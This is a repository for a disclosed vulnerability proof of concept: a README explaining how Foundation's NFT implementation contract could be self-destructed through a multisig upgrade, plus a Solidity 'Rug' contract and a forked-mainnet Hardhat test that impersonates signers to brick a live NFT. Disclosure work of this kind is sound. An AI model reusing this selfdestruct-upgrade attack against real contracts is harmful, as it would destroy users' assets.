├── .gitignore ├── README.md ├── contracts └── Rug.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test └── attack.ts └── tsconfig.json /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | 12 | .vscode -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Exploit 2 | Foundation's NFTCollection contract allows foundation to destroy almost all NFTs minted on their site. 3 | 4 | The issue comes from the _selfDestruct() function that NFTCollection contracts have (https://github.com/f8n/fnd-protocol/blob/main/contracts/mixins/collections/SequentialMintCollection.sol#L72), which is callable by owner when totalSupply() is 0. 5 | 6 | The problem is that the implementation contract has that function and it's callable by their multisig, which would result in implementation contract self-destroying and all proxies getting bricked, this would lead to all NFTs minted on proxy contracts to be essentially destroyed, since the contracts wouldnt work anymore. 7 | 8 | Result: currently theres a 2/6 multisig that can destroy almost all NFTs minted in foundation. 9 | 10 | How this would happen: 11 | 1. Multisig https://etherscan.io/address/0x9d9C46aCa6a2c5FF6824A92d521b6381f9f8F1a9 issues a tx upgrading https://etherscan.io/address/0x67Df244584b67E8C51B10aD610aAfFa9a402FdB6#code 12 | 2. Upgraded version of 0x67Df244584b67E8C51B10aD610aAfFa9a402FdB6 then calls selfDestruct() on https://etherscan.io/address/0xf61f4f2c896219a90670e19e188ebb93fcc002e8 or 0xe38f942Db7a1B4213d6213F70c499B59287b01F1 13 | 3. After this, anyone calling any function on NFTContracts, such as transfer(), ownerOf() or tokenUri() will have those functions fail (because the proxy calls implementation contract and that contract has ceased existing), which means that all NFTs disappear 14 | 15 | How to fix: 16 | 1. Just issue an NFT on https://etherscan.io/address/0xf61f4f2c896219a90670e19e188ebb93fcc002e8 (and other implementation contracts like 0xe38f942Db7a1B4213d6213F70c499B59287b01F1) and send that NFT to a burn address 17 | 2. Doing this will make totalSupply > 0 permanently, which will make any future calls to selfDestruct() revert 18 | 19 | ## PoC 20 | Run PoC: `npx hardhat test test/attack.ts` 21 | 22 | ## Timeline 23 | - 21 Dec 2022: Report exploit to foundation along with how to fix it and details 24 | - 22 Dec 2022: Report again through different medium 25 | - 23 Dec 2022: Receive response, get told engineering team is taking a look at the issue 26 | - 18 Jun 2023: Send reminder to foundation team, offer a PoC of the exploit and notify them that I'll be disclosing it publicly soon since nothing has been done 27 | - 19 Jun 2023: Send reminder+notification through another medium 28 | - 19 Jun 2023: Receive reply from foundation team, get told I have to KYC and submit it to their bounty program 29 | -------------------------------------------------------------------------------- /contracts/Rug.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.9; 3 | 4 | interface Implementation { 5 | function selfDestruct() external; 6 | } 7 | 8 | contract Rug { 9 | function rug() public { 10 | Implementation(0xe38f942Db7a1B4213d6213F70c499B59287b01F1).selfDestruct(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | const config: HardhatUserConfig = { 5 | solidity: "0.8.18", 6 | networks: { 7 | hardhat: { 8 | forking: { 9 | url: "https://eth.llamarpc.com", 10 | } 11 | } 12 | } 13 | }; 14 | 15 | export default config; 16 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "foundation-exploit", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "hardhat": "^2.15.0" 14 | }, 15 | "devDependencies": { 16 | "@nomicfoundation/hardhat-toolbox": "^3.0.0" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /test/attack.ts: -------------------------------------------------------------------------------- 1 | import { expect } from "chai"; 2 | import { ethers } from "hardhat"; 3 | 4 | describe("attack", function () { 5 | it("run", async function () { 6 | const [deployer] = await ethers.getSigners(); 7 | 8 | // https://foundation.app/@redkamsitipop/rbg/5 9 | const exampleNFT = new ethers.Contract("0x23e944911cb14183c36D86A9f500c506494F3f76", [ 10 | "function ownerOf(uint256 tokenId) public view returns (address)" 11 | ], deployer) 12 | expect(await exampleNFT.ownerOf("5")).to.be.equal("0x68db95B945Cc91cF7BB5f0701FDed961beEc4e12") 13 | 14 | const Rug = await ethers.getContractFactory("Rug"); 15 | const rug = await Rug.deploy(); 16 | 17 | const proxyAdmin = new ethers.Contract("0x72DE36c8ebEAcB6100C36249552e35fefF0EE099", [ 18 | "function upgrade(address proxy, address newImplementation) public view", 19 | ], deployer) 20 | 21 | const foundationTreasury = new ethers.Contract("0x67Df244584b67E8C51B10aD610aAfFa9a402FdB6", [ 22 | "function upgradeTo(address newImplementation) public view", 23 | ], deployer) 24 | const foundationTreasuryAddress = await foundationTreasury.getAddress() 25 | 26 | const foundationMultisig = new ethers.Contract("0x9d9C46aCa6a2c5FF6824A92d521b6381f9f8F1a9", [ 27 | "function submitTransaction(address destination, uint256 value, bytes data) public", 28 | "function confirmTransaction(uint256 transactionId) public", 29 | ]) 30 | 31 | const upgradeCalldata = (await proxyAdmin.upgrade.populateTransaction(foundationTreasuryAddress, await rug.getAddress())).data 32 | //console.log(upgradeCalldata) 33 | const msig1 = await ethers.getImpersonatedSigner("0x48Eb8b463b8B3fBd1669F3f147Ce1055D6669555"); 34 | await deployer.sendTransaction({ 35 | to: msig1.address, 36 | value: ethers.parseEther("1.0"), // Sends exactly 1.0 ether 37 | }); 38 | await (foundationMultisig.connect(msig1) as any).submitTransaction(await proxyAdmin.getAddress(), "0", upgradeCalldata) 39 | const msig2 = await ethers.getImpersonatedSigner("0x21037Cf5f02D006F60b7826f0Ae926860700AC8e"); 40 | await deployer.sendTransaction({ 41 | to: msig2.address, 42 | value: ethers.parseEther("1.0"), // Sends exactly 1.0 ether 43 | }); 44 | //console.log("owner", await deployer.provider.getStorage('0x67Df244584b67E8C51B10aD610aAfFa9a402FdB6', '0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103')) 45 | const upgradeTx = await (foundationMultisig.connect(msig2) as any).confirmTransaction("331") 46 | //console.log("upgrade events", (await upgradeTx.wait()).logs) 47 | 48 | await (Rug.attach(foundationTreasuryAddress) as any).rug(); 49 | await expect(exampleNFT.ownerOf("5")).to.be.rejected 50 | }); 51 | }) -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true 10 | } 11 | } 12 | --------------------------------------------------------------------------------